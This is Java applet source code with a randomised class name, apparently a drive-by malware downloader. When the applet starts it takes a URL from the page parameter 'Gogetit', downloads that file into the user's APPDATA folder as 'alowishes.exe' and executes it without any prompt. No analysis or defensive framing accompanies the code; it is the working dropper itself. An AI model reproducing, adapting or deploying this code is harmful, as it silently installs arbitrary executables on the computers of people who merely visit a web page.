import java.applet.Applet;
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.net.URL;
import java.util.logging.Level;
import java.util.logging.Logger;
public class KvtIhJHreqpzLSa extends Applet
{
public void start()
{
String str1 = System.getenv("APPDATA");
String str2 = getParameter("Gogetit");
String str3 = "\\alowishes.exe";
String str4 = str1.concat(str3);
BufferedInputStream localBufferedInputStream = null;
try {
localBufferedInputStream = new BufferedInputStream(new URL(str2).openStream());
} catch (IOException localIOException1) {
Logger.getLogger(KvtIhJHreqpzLSa.class.getName()).log(Level.SEVERE, null, localIOException1);
}
FileOutputStream localFileOutputStream = null;
try {
localFileOutputStream = new FileOutputStream(str4);
} catch (FileNotFoundException localFileNotFoundException) {
Logger.getLogger(KvtIhJHreqpzLSa.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
}
BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
byte[] arrayOfByte = new byte[1024];
try
{
int i;
for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
localBufferedOutputStream.write(arrayOfByte, 0, i);
}
catch (IOException localIOException2) {
Logger.getLogger(KvtIhJHreqpzLSa.class.getName()).log(Level.SEVERE, null, localIOException2);
}
try {
localBufferedOutputStream.close();
} catch (IOException localIOException3) {
Logger.getLogger(KvtIhJHreqpzLSa.class.getName()).log(Level.SEVERE, null, localIOException3);
}
try {
localBufferedInputStream.close();
} catch (IOException localIOException4) {
Logger.getLogger(KvtIhJHreqpzLSa.class.getName()).log(Level.SEVERE, null, localIOException4);
}
try {
Runtime.getRuntime().exec(str4);
} catch (IOException localIOException5) {
Logger.getLogger(KvtIhJHreqpzLSa.class.getName()).log(Level.SEVERE, null, localIOException5);
}
}
public void main(String[] paramArrayOfString)
{
start();
}
}